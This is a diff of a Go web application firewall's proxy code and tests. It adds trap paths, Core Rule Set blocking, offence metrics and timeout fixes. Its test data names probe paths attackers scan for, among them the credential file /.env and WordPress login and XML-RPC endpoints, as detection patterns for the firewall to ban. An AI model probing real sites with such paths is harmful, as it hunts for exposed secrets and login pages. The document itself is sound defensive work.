logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS"
attackBanDuration = "SWWAF_ATTACK_BAN_DURATION"
rulesDir = "SWWAF_RULES_DIR"
wafMode = "SWWAF_WAF_MODE"
)
// off is the value that switches a setting off.
const off = "off"
// output collects what smallwebwaf writes on stdout.
type output struct {
mu sync.Mutex
@@ -271,7 +275,9 @@ func startProxyWithAlerts(
// is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE
// is off unless env sets it. While it is file, the lookup database
// SWWAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY.
// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY. SWWAF_WAF_MODE is off
// unless env sets it, so that only the tests of the Core Rule Set have
// their requests inspected by it.
func newProxy(
t *testing.T, appURL, geojsURL string, now func() time.Time,
env map[string]string,
@@ -280,9 +286,10 @@ func newProxy(
settings := map[string]string{
"SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir(), instanceName: "app",
wafMode: off,
}
if geojsURL == "" {
settings[lookupSource] = "off"
settings[lookupSource] = off
}
maps.Copy(settings, env)
internal/proxy/ratelimits_test.go
+3
View File
@@ -185,6 +185,9 @@ func TestRateLimitCountsPathsThatAreNotExempt(t *testing.T) {
"/assets/x%2Fy",
"/assets/x%2fy",
`/assets/x\y`,
// The same with a character Go escapes, |, for which Go's
// URL.EscapedPath gives /assets/x/y%7Cz, with no encoded slash.
"/assets/x%2Fy|z",
} {
t.Run(sent, func(t *testing.T) {
t.Parallel()
internal/proxy/reputation_test.go
+23 -6
View File
@@ -701,10 +701,14 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(t *testing
wantAbuseIPDBChecks(t, server, 1)
}
// probePath is the path the ban rule of testRules, probe, matches.
const probePath = "/.env"
// probePath is the path the ban rule of testRules, probe, matches, and
// blockedPath the one its block rule, blocked, matches.
const (
probePath = "/.env"
blockedPath = "/blocked"
)
func TestClientARuleRefusedIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) {
func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
@@ -718,13 +722,25 @@ func TestClientARuleRefusedIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T)
want ratelimit.Offences
}{
{
"a block rule", "/blocked", http.StatusForbidden, requestlog.ActionRuleBlocked,
"a block rule", blockedPath, http.StatusForbidden, requestlog.ActionRuleBlocked,
ratelimit.Offences{RuleBlocked: 1},
},
{
"the Core Rule Set", sqlInjection, http.StatusForbidden,
requestlog.ActionWAFBlocked, ratelimit.Offences{WAFBlocked: 1},
},
{
"a ban rule", probePath, http.StatusForbidden, requestlog.ActionBanned,
ratelimit.Offences{Attack: 1},
},
{
"a trap path", "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned,
ratelimit.Offences{Attack: 1},
},
{
"a missing token", proxy.MetricsPath, http.StatusUnauthorized,
requestlog.ActionAdmin, ratelimit.Offences{TokenRefused: 1},
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
@@ -732,6 +748,7 @@ func TestClientARuleRefusedIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T)
s, clk, server := startWithClock(t, "", map[string]string{
abuseIPDBKey: accountKey, reputationAction: actionLog,
rulesDir: writeRules(t, testRules), attackBanDuration: "1h",
trapPaths: trapPathList, metricsToken: token, wafMode: block,
})
s.request(client, tc.path, tc.status, tc.action)
@@ -741,8 +758,8 @@ func TestClientARuleRefusedIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T)
t.Errorf("history counts the offences %+v, want %+v", got, tc.want)
}
// Its next request, once a ban rule's ban has ended, has it
// checked.
// Its next request, once any ban for a clear sign of attack
// has ended, has it checked.
clk.advance(time.Hour)
s.get(client, http.StatusOK, requestlog.ActionForward)
wantAbuseIPDBChecks(t, server, 1)
internal/proxy/request.go
+110 -36
View File
@@ -8,7 +8,6 @@ import (
"net/http/httptrace"
"net/http/httputil"
"net/netip"
"net/url"
"os"
"slices"
"strings"
@@ -22,6 +21,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// flushAfterEachWrite has ReverseProxy pass on each part of the app's
@@ -64,10 +64,11 @@ type request struct {
// limits and for the byte limits.
counted bool
limitPercent, bytesPercent percentage
// attack is true for a request that matched a ban rule, and
// ruleBlocked for one a block rule refused, each an offence its
// client's history counts.
attack, ruleBlocked bool
// attack is true for a request that matched a ban rule or asked for a
// trap path, ruleBlocked for one a block rule refused, wafBlocked for
// one the Core Rule Set refused, and tokenRefused for one refused for a
// missing or wrong token, each an offence its client's history counts.
attack, ruleBlocked, wafBlocked, tokenRefused bool
// blocklisted is true once a blocklist is found to list the client,
// dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once
// AbuseIPDB's score of it is a hit.
@@ -136,7 +137,7 @@ func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
Method: r.Method,
Scheme: scheme(r, peerTrusted),
Host: r.Host,
Path: r.URL.EscapedPath(),
Path: rules.Path(r),
Query: r.URL.RawQuery,
Protocol: r.Proto,
Referer: r.Referer(),
@@ -187,22 +188,29 @@ func requestHeaders(r *http.Request, names []string) map[string]string {
}
// check is the one place where a request can be refused once its client
// is known, before its body is read or anything reaches the app. It
// returns nil to let the request through. The checks of checkClient come
// first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule, and
// is known, before anything reaches the app, and before its body is read,
// but for the part the Core Rule Set reads. It returns nil to let the
// request through. The checks of checkClient come first, answered with
// SWWAF_BAN_RESPONSE, or 403 for a block rule or the Core Rule Set, and
// then the size limit, so that a request the rate limits count is counted
// even when it is refused for its size. In observe mode a request
// checkClient refuses goes on to the size limit like any other. ctx is
// the request's own context.
// checkClient refuses goes on to the size limit like any other. A size or
// time limit the Core Rule Set's reading of the body meets ends the
// request in either mode. ctx is the request's own context.
func (rq *request) check(ctx context.Context) *refusal {
action := rq.checkClient(ctx)
refused := rq.refused.Load()
if refused != nil {
return refused
}
switch {
case action == "":
case rq.h.config.Observe:
// The log line names what enforce mode would have done.
rq.line.WouldAction = action
case action == requestlog.ActionRuleBlocked:
case action == requestlog.ActionRuleBlocked || action == requestlog.ActionWAFBlocked:
return &refusal{status: http.StatusForbidden, action: action}
default:
return rq.banResponse(action)
@@ -232,9 +240,9 @@ func (rq *request) check(ctx context.Context) *refusal {
// rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the
// request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that
// every other request is counted, each of them by the client's limit
// percentages, and last the rule files. A request exempt from the rate
// limits is exempt from the byte limits too. ctx is the request's own
// context.
// percentages, then SWWAF_TRAP_PATHS, then the rule files, and last the
// Core Rule Set. A request exempt from the rate limits is exempt from the
// byte limits too. ctx is the request's own context.
func (rq *request) checkClient(ctx context.Context) string {
cfg := rq.h.config
if isInside(rq.client, cfg.AllowNets) {
@@ -253,6 +261,12 @@ func (rq *request) checkClient(ctx context.Context) string {
rq.lookUp(ctx)
// The lookup can wait for GeoJS, so the checks after it read the time
// again: a request counted at the time it arrived could be counted
// after a later one of its client's, which the rate limits would take
// for the clock set back.
now = rq.h.now()
if rq.countryDenied() {
return requestlog.ActionCountryDenied
}
@@ -270,7 +284,7 @@ func (rq *request) checkClient(ctx context.Context) string {
}
rq.counted = !isInside(rq.client, cfg.RateLimitExemptNets) &&
!pathExempt(rq.in.URL, cfg.RateLimitExemptPaths)
!pathExempt(rq.in, cfg.RateLimitExemptPaths)
if rq.counted {
rq.limitPercent, rq.bytesPercent = rq.limitPercentages()
rq.line.LimitPercent, rq.line.LimitPercentSetting = rq.limitPercent.logged()
@@ -281,22 +295,30 @@ func (rq *request) checkClient(ctx context.Context) string {
return requestlog.ActionRateLimited
}
return rq.checkRules(now)
if rq.trapPath(now) {
return requestlog.ActionBanned
}
action := rq.checkRules(now)
if action != "" {
return action
}
return rq.checkCoreRuleSet()
}
// pathExempt reports whether the rate limits leave out a request for u
// because of SWWAF_RATE_LIMIT_EXEMPT_PATHS: whether its path as sent, the
// path the app receives, not percent-decoded, starts with one of
// prefixes, so that /%61ssets/x is not under /assets/ for an app whose
// router matches the path as received. A request whose decoded path
// contains .. anywhere or a backslash, or whose path as sent holds an
// pathExempt reports whether r is exempt under prefixes,
// SWWAF_RATE_LIMIT_EXEMPT_PATHS or SWWAF_WAF_EXEMPT_PATHS: whether its
// path as sent, the path the app receives, not percent-decoded, starts
// with one of prefixes, so that /%61ssets/x is not under /assets/ for an
// app whose router matches the path as received. A request whose decoded
// path contains .. anywhere or a backslash, or whose path as sent holds an
// encoded slash (%2F or %2f), never is, since an app may act on it as a
// path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
// as one path segment, as Go's router does.
func pathExempt(u *url.URL, prefixes []string) bool {
decoded := u.Path
// EscapedPath is the path as the app receives it, not decoded.
sent := u.EscapedPath()
func pathExempt(r *http.Request, prefixes []string) bool {
decoded := r.URL.Path
sent := rules.Path(r)
if strings.Contains(decoded, "..") || strings.Contains(decoded, `\`) ||
strings.Contains(strings.ToLower(sent), "%2f") {
@@ -352,6 +374,17 @@ func (rq *request) rewrite(pr *httputil.ProxyRequest) {
// ReverseProxy drops query parameters it cannot parse; the app gets
// the query as the client sent it.
pr.Out.URL.RawQuery = pr.In.URL.RawQuery
// ReverseProxy sends the path URL.EscapedPath gives, which, for a path
// holding a character Go escapes, such as |, is the whole path decoded
// and escaped again, %2F turned into /. Opaque is sent as it is, so the
// app gets the path as the client sent it. Left out are a target that
// is no path, such as *, and a path starting with //, which Go would
// send in Opaque as a scheme and host.
path := rules.Path(pr.In)
if strings.HasPrefix(path, "/") && !strings.HasPrefix(path, "//") {
pr.Out.URL.Opaque = path
}
setForwardedHeaders(pr.In, pr.Out, rq.peer, rq.peerTrusted)
pr.Out.Header.Set(requestIDHeader, rq.line.RequestID)
pr.Out.Header.Del(asnHeader)
@@ -372,8 +405,10 @@ func (rq *request) modifyResponse(res *http.Response) error {
// timeouts. ReverseProxy writes this answer straight to the
// connection it takes over, not through rq.out, and then copies
// what passes each way through res.Body, the connection to the app.
// It may still refuse the switch, as when the app's Upgrade is not
// the client's, so the status is noted only once it has taken over
// the connection, by rq.out's Hijack.
rq.stopTimers()
rq.out.status = res.StatusCode
rq.line.Websocket = true
conn, ok := res.Body.(io.ReadWriteCloser)
@@ -396,6 +431,13 @@ func (rq *request) modifyResponse(res *http.Response) error {
return errResponseTooLarge
}
// Go's server adds a Content-Type it guesses from the body to a
// response whose headers have no Content-Type key. The key with no
// value sends none, as the app sent none.
if res.Header.Get("Content-Type") == "" {
rq.out.Header()["Content-Type"] = nil
}
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
rq.startClientResponseTimeout()
@@ -405,6 +447,13 @@ func (rq *request) modifyResponse(res *http.Response) error {
// answerError is ReverseProxy's ErrorHandler: the request could not be
// passed to the app, or the app's answer cannot be passed on.
func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) {
if rq.upgraded != nil {
// The app switched protocols, but the switch was not passed on,
// and ReverseProxy leaves the app's connection open when it
// refuses it.
_ = rq.upgraded.Close()
}
refused := rq.refused.Load()
if refused == nil {
if rq.in.Context().Err() != nil {
@@ -541,14 +590,14 @@ func timing(start, end time.Time) *float64 {
}
// addToHistory adds the request, which has ended, to its client's
// history, and then the lookup's answer about the client, as
// answerAtTheEnd gives it, to that history and to the notes of the bans
// on its netblock: an answer may have come before either was there, and
// one from GeoJS that comes later is added when it comes.
// history, and counts its offences in the metrics, and then the lookup's
// answer about the client, as answerAtTheEnd gives it, to that history and
// to the notes of the bans on its netblock: an answer may have come
// before either was there, and one from GeoJS that comes later is added
// when it comes.
func (rq *request) addToHistory() {
forwarded := !rq.upstreamStart.IsZero()
rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), ratelimit.Request{
request := ratelimit.Request{
Forwarded: forwarded,
Refused: !forwarded && rq.refused.Load() != nil,
Status: rq.out.status,
@@ -557,7 +606,12 @@ func (rq *request) addToHistory() {
BrokeLimit: rq.line.Offence == requestlog.OffenceLimit,
Attack: rq.attack,
RuleBlocked: rq.ruleBlocked,
})
WAFBlocked: rq.wafBlocked,
TokenRefused: rq.tokenRefused,
}
rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request)
rq.h.metrics.Offences(request)
answer, found := rq.answerAtTheEnd()
if found {
@@ -682,6 +736,16 @@ func (rq *request) requestTimedOut(limit string) {
}
if rq.body == nil || !rq.body.waiting.Load() {
// Once the app has answered, the transport, ReverseProxy and Go's
// server each close the client's body, and closing it reads what
// is left of a body under 256 KiB without requestBody.Read, so
// waiting is false while that read waits for the client. That
// read ends now, before refuse: should smallwebwaf still answer
// itself, answer then sets the deadline it gives its own answers.
if !rq.answerStarted.IsZero() {
rq.stopReadingBody(time.Now())
}
rq.refuse(refusal{
status: http.StatusGatewayTimeout,
action: requestlog.ActionTimedOut,
@@ -767,9 +831,19 @@ func (rq *request) responseTimedOut() {
}
}
// responseReceived is called once the app has sent its whole answer.
// responseReceived is called once the app has sent its whole answer. An
// app may answer before the client has sent its whole body, as with a 404
// it sends without reading it. The timeouts then run on: until the
// transport's read of the body returns, Go's server cannot send the
// answer, and SWWAF_CLIENT_REQUEST_TIMEOUT is what ends that read for a
// client that stops sending.
func (rq *request) responseReceived() {
rq.complete = true
if rq.body != nil && !rq.body.received.Load() {
return
}
rq.stopTimers()
}
internal/proxy/request_internal_test.go
+55
View File
@@ -0,0 +1,55 @@
package proxy
import (
"io"
"net/http"
"net/http/httptest"
"testing"
"sneak.berlin/go/smallwebwaf/internal/config"
)
func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
t.Parallel()
srv := httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, _ *http.Request) {
rq := &request{
h: &handler{config: &config.Config{}},
out: &responseWriter{ResponseWriter: w},
}
app := &http.Response{
StatusCode: http.StatusOK,
Header: http.Header{},
Body: http.NoBody,
}
err := rq.modifyResponse(app)
if err != nil {
t.Errorf("modifyResponse: %v", err)
}
// The headers go out with this, the first part of the body,
// which Go's server would guess a Content-Type from.
_, _ = io.WriteString(w, "<!doctype html><title>page</title>")
}))
t.Cleanup(srv.Close)
req, err := http.NewRequestWithContext(t.Context(), http.MethodGet, srv.URL,
http.NoBody)
if err != nil {
t.Fatalf("new request: %v", err)
}
res, err := srv.Client().Do(req)
if err != nil {
t.Fatalf("get: %v", err)
}
_ = res.Body.Close()
if res.Header.Values("Content-Type") != nil {
t.Errorf("client got Content-Type %q, want none",
res.Header.Get("Content-Type"))
}
}
internal/proxy/rulefiles_test.go
+3
View File
@@ -204,6 +204,9 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
wantMetric(t, metrics, `smallwebwaf_rules_loaded{instance="app"}`, 2)
wantMetric(t, metrics, `smallwebwaf_requests_total{action="rule_blocked",`+
`instance="app",status_class="4xx"}`, 1)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 1)
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="attack"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack",instance="app"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 0)
wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1)
internal/proxy/rules.go
+22 -1
View File
@@ -1,12 +1,33 @@
package proxy
import (
"slices"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// trapPath reports whether the request asks for a path in
// SWWAF_TRAP_PATHS: its path as a path rule sees it, without the query,
// as sent or once percent-decoded, is one of them. Such a request is a
// clear sign of attack, as a ban rule's match is: it bans the client's
// netblock, or in observe mode raises the alert for the ban it would have
// made. The ban's notes give the path as sent.
func (rq *request) trapPath(now time.Time) bool {
path := rules.Path(rq.in)
if !slices.Contains(rq.h.config.TrapPaths, path) &&
!slices.Contains(rq.h.config.TrapPaths, rules.DecodeOnce(path)) {
return false
}
rq.attack = true
rq.banForAttack(now, bans.Notes{TrapPath: path})
return true
}
// checkRules checks the request against the rules of the rule files at
// now, notes the ids of those it matches in the log line, and returns the
// action of the rule that refuses it, ActionRuleBlocked for a block rule
@@ -34,7 +55,7 @@ func (rq *request) checkRules(now time.Time) string {
return requestlog.ActionRuleBlocked
case rules.ActionBan:
rq.attack = true
rq.banForAttack(now, last)
rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target})
return requestlog.ActionBanned
default:
internal/proxy/staticlists_test.go
+1
View File
@@ -144,6 +144,7 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) {
geojsURL, _ := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
rateLimitExemptNets: listedAddr + "," + fromKP,
deniedCountries: "kp",
rateLimitPerMinute: "1",
internal/proxy/timeouts_test.go
+146
View File
@@ -7,6 +7,7 @@ import (
"net/http"
"net/http/httptest"
"strconv"
"strings"
"sync"
"sync/atomic"
"testing"
@@ -194,6 +195,151 @@ func sendLargeBody(t *testing.T, addr string) net.Conn {
return conn
}
func TestClientStopsSendingAfterTheAppHasAnswered(t *testing.T) {
t.Parallel()
// answeredAt is when the app answered, or nil if the bytes the client
// sent never reached it.
var answeredAt atomic.Pointer[time.Time]
// The app answers without reading the whole body, as an app does for
// a path it does not serve, and only once smallwebwaf waits for the
// rest of it: the app takes the bytes the client sent, and then waits
// half the timeout, far longer than smallwebwaf takes to go on to
// wait.
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
_, err := io.ReadFull(r.Body, make([]byte, len("the first bytes")))
if err != nil {
return
}
time.Sleep(shortTimeout / 2)
answeredAt.Store(new(time.Now()))
http.NotFound(w, r)
})
addr, out := startProxy(t, app.URL, map[string]string{
clientRequestTimeout: shortTimeoutSetting,
metricsToken: token,
})
start := time.Now()
got := readResponse(t, sendPartOfBody(t, addr))
wantTimedOut(t, start)
// Close returns once the app has finished with the request.
app.Close()
// The app's answer came before the time ran out, so the client is
// sent that answer, not smallwebwaf's 408. Only a hold-up of the test
// process can make it come later, and SPEC.md then asks for 408, as
// smallwebwaf was waiting for the client, or for 504 if the bytes the
// client sent had not reached the app.
at := answeredAt.Load()
want := http.StatusNotFound
switch {
case at == nil:
want = http.StatusGatewayTimeout
case at.Sub(start) >= shortTimeout:
want = http.StatusRequestTimeout
}
wantStatus(t, got, want)
wantLine(t, out.requestLine(t), want, requestlog.ActionTimedOut)
wantLimitHits(t, addr, clientRequestTimeout, 1)
}
func TestClientStopsSendingWithLittleOfItsBodyLeft(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
// limit is the setting set to shortTimeout, which runs out, and
// clientTimeout what SWWAF_CLIENT_REQUEST_TIMEOUT is set to when it
// is not limit.
limit, clientTimeout string
}{
{
name: "client request timeout",
limit: clientRequestTimeout,
},
{
name: "upstream request timeout, client request timeout off",
limit: upstreamRequestTimeout,
clientTimeout: off,
},
{
name: "upstream request timeout, client request timeout longer",
limit: upstreamRequestTimeout,
clientTimeout: longTimeoutSetting,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
// appClosed is closed once smallwebwaf has closed its
// connection to the app, which it does once it has the app's
// answer.
appClosed := make(chan struct{})
// The app answers without reading the rest of the body, and
// says it closes the connection, only once smallwebwaf waits
// for the client to send more: it takes the bytes the client
// sent, and then waits half the timeout, far longer than
// smallwebwaf takes to go on to wait.
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
conn, buf, err := http.NewResponseController(w).Hijack()
if err != nil {
return
}
_, _ = io.ReadFull(buf.Reader, make([]byte, len("the first bytes")))
time.Sleep(shortTimeout / 2)
_, _ = buf.WriteString("HTTP/1.1 404 Not Found\r\n" +
"Content-Length: 0\r\nConnection: close\r\n\r\n")
_ = buf.Flush()
_, _ = io.Copy(io.Discard, buf.Reader)
_ = conn.Close()
close(appClosed)
})
env := map[string]string{tc.limit: shortTimeoutSetting, metricsToken: token}
if tc.clientTimeout != "" {
env[clientRequestTimeout] = tc.clientTimeout
}
addr, out := startProxy(t, app.URL, env)
// Less than 256 KiB of the body is left after the first bytes,
// little enough for Go's server in smallwebwaf to read the rest
// itself before it sends the app's answer.
start := time.Now()
conn := dial(t, addr)
send(t, conn, "POST /upload HTTP/1.1\r\nHost: app\r\nContent-Length: 200000\r\n\r\n"+
"the first bytes")
select {
case <-appClosed:
case <-time.After(waitLimit):
t.Fatal("smallwebwaf did not close its connection to the app")
}
// More of the body, which can no longer go to the app, and then
// nothing.
send(t, conn, strings.Repeat("x", 8<<10))
got := readResponse(t, conn)
wantTimedOut(t, start)
wantStatus(t, got, http.StatusNotFound)
wantLine(t, out.requestLine(t), http.StatusNotFound, requestlog.ActionTimedOut)
wantLimitHits(t, addr, tc.limit, 1)
})
}
}
func TestAppTooSlowToAnswer(t *testing.T) {
t.Parallel()
internal/proxy/trappaths_test.go
+130
View File
@@ -0,0 +1,130 @@
package proxy_test
import (
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// trapPaths is the setting's name, and trapPathList what the tests set it
// to.
const (
trapPaths = "SWWAF_TRAP_PATHS"
trapPathList = "/wp-login.php,/xmlrpc.php"
)
func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
t.Parallel()
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
// A block rule for the same path: the trap path comes first.
s, clk, server := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
rulesDir: writeRules(t, `wp path block ^/wp-login\.php$`),
allowNets: allowed,
banResponse: "429",
})
start := clk.Now()
// Only the path itself, the whole of it in the same case, is a trap
// path.
for _, path := range []string{"/wp-login.php/", "/WP-LOGIN.PHP", "/blog/xmlrpc.php"} {
s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
}
// A client in SWWAF_ALLOW_NETS is not checked.
s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
// The query is not part of the path.
line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests,
requestlog.ActionBanned)
wantRuleIDs(t, line)
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
}
netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{
Netblock: netblock,
Start: start,
Expires: start.Add(7 * 24 * time.Hour),
Cause: bans.CauseAttack,
Reason: "asked for the trap path /wp-login.php",
Notes: bans.Notes{
TrapPath: "/wp-login.php",
Request: bans.Request{
Time: start,
Method: http.MethodGet,
Host: appHost,
Path: "/wp-login.php?redirect_to=x",
Status: http.StatusTooManyRequests,
UserAgent: userAgent,
},
Requests: 1,
},
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
// The next request is refused under the ban, and makes it permanent.
line = s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned)
if line.BanExpires != permanent {
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
}
}
func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{trapPaths: trapPathList})
// %2577 decodes once to %77, not to w.
s.request(otherClient, "/%2577p-login.php", http.StatusOK, requestlog.ActionForward)
s.request(client, "/%77p-login.php", http.StatusForbidden, requestlog.ActionBanned)
// The ban's notes give the path as the client sent it.
got := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(got) != 1 || got[0].Notes.TrapPath != "/%77p-login.php" {
t.Fatalf("bans %+v, want one whose notes give the trap path /%%77p-login.php", got)
}
}
func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
"SWWAF_RULES_ENABLED": "false",
})
s.request(client, "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned)
}
func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
trapPaths: trapPathList,
mode: observe,
})
line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBanned)
// No ban was made.
s.get(client, http.StatusOK, requestlog.ActionForward)
if got := server.Ledger.Snapshot(); len(got) != 0 {
t.Errorf("bans %+v, want none", got)
}
}
internal/ratelimit/ratelimit.go
+72 -28
View File
@@ -25,6 +25,9 @@ const (
KindRequests = "requests"
// KindBytes is a byte limit, on a client's bytes.
KindBytes = "bytes"
// KindRefusals is the error burst, on a client's requests smallwebwaf
// refused after a rule file match or for a missing or wrong token.
KindRefusals = "refusals"
)
// Limits are the most requests a client may make in a minute, an hour and
@@ -50,18 +53,20 @@ type Limiter struct {
}
// Client is a client in the table, as clients.json holds it: its buckets
// of requests and of bytes in each window, and its history.
// of requests and of bytes in each window, its buckets of refusals in the
// minute, which the error burst counts, and its history.
//
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Client struct {
Client netip.Prefix `json:"client"`
Minute Buckets `json:"minute"`
Hour Buckets `json:"hour"`
Day Buckets `json:"day"`
MinuteBytes Buckets `json:"minute_bytes"`
HourBytes Buckets `json:"hour_bytes"`
DayBytes Buckets `json:"day_bytes"`
History History `json:"history"`
Client netip.Prefix `json:"client"`
Minute Buckets `json:"minute"`
Hour Buckets `json:"hour"`
Day Buckets `json:"day"`
MinuteBytes Buckets `json:"minute_bytes"`
HourBytes Buckets `json:"hour_bytes"`
DayBytes Buckets `json:"day_bytes"`
MinuteRefusals Buckets `json:"minute_refusals"`
History History `json:"history"`
}
// Buckets are a client's two buckets in one window: the requests, or the
@@ -116,12 +121,16 @@ type Responses struct {
//
//nolint:tagliatelle // the state files use snake_case, as the request log does
type Offences struct {
// Limit is its requests that broke a rate limit or a byte limit,
// Attack those that matched a ban rule, a clear sign of attack, and
// RuleBlocked those a block rule refused.
Limit int64 `json:"limit"`
Attack int64 `json:"attack"`
RuleBlocked int64 `json:"rule_blocked"`
// Limit is its requests that broke a rate limit, a byte limit or the
// error burst, Attack those that were a clear sign of attack, a match
// of a ban rule or a request for a trap path, RuleBlocked those a block
// rule refused, WAFBlocked those the Core Rule Set refused, and
// TokenRefused those refused for a missing or wrong token.
Limit int64 `json:"limit"`
Attack int64 `json:"attack"`
RuleBlocked int64 `json:"rule_blocked"`
WAFBlocked int64 `json:"waf_blocked"`
TokenRefused int64 `json:"token_refused"`
}
// Request is what a client's history keeps of one of its requests.
@@ -138,12 +147,16 @@ type Request struct {
// and of its response.
RequestBytes int64
ResponseBytes int64
// BrokeLimit is true for a request that broke a rate limit or a byte
// limit, Attack for one that matched a ban rule, and RuleBlocked for
// one a block rule refused.
BrokeLimit bool
Attack bool
RuleBlocked bool
// BrokeLimit is true for a request that broke a rate limit, a byte
// limit or the error burst, Attack for one that matched a ban rule or
// asked for a trap path, RuleBlocked for one a block rule refused,
// WAFBlocked for one the Core Rule Set refused, and TokenRefused for
// one refused for a missing or wrong token.
BrokeLimit bool
Attack bool
RuleBlocked bool
WAFBlocked bool
TokenRefused bool
}
// New returns a Limiter for limits, with no client counted yet, whose
@@ -175,17 +188,18 @@ func New(limits Limits, maxClients int) *Limiter {
}
}
// Hit is a request that takes a client over a rate limit, or whose bytes
// take it over a byte limit.
// Hit is a request that takes a client over a rate limit or the error
// burst, or whose bytes take it over a byte limit.
type Hit struct {
// Kind is KindRequests for a rate limit, KindBytes for a byte limit.
// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
// KindRefusals for the error burst.
Kind string
// Window is "minute", "hour" or "day".
Window string
// Limit is the window's limit, as the client's percentage of it.
Limit int64
// Count is the client's requests, or bytes, counted in the window,
// this request's included.
// Count is the client's requests, bytes or refusals counted in the
// window, this request's included.
Count float64
}
@@ -224,8 +238,25 @@ func (l *Limiter) CountBytes(
return l.count(client, now, 0, bytes, percent)
}
// Reset sets client's counts of requests and of bytes in every window
// back to zero. Its history keeps its totals.
// CountRefusal counts a request from client at now that smallwebwaf
// refused after a rule file or Core Rule Set match or for a missing or
// wrong token, and reports whether the client's refusals in the minute
// that ends at now, this one included, are more than threshold, which
// breaks the error burst, and the hit.
func (l *Limiter) CountRefusal(
client netip.Prefix, now time.Time, threshold int64,
) (Hit, bool) {
l.mu.Lock()
defer l.mu.Unlock()
count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
return hit, count > float64(threshold)
}
// Reset sets client's counts of requests, of bytes and of refusals in
// every window back to zero. Its history keeps its totals.
func (l *Limiter) Reset(client netip.Prefix) {
l.mu.Lock()
defer l.mu.Unlock()
@@ -234,6 +265,7 @@ func (l *Limiter) Reset(client netip.Prefix) {
if seen {
c.Minute, c.Hour, c.Day = Buckets{}, Buckets{}, Buckets{}
c.MinuteBytes, c.HourBytes, c.DayBytes = Buckets{}, Buckets{}, Buckets{}
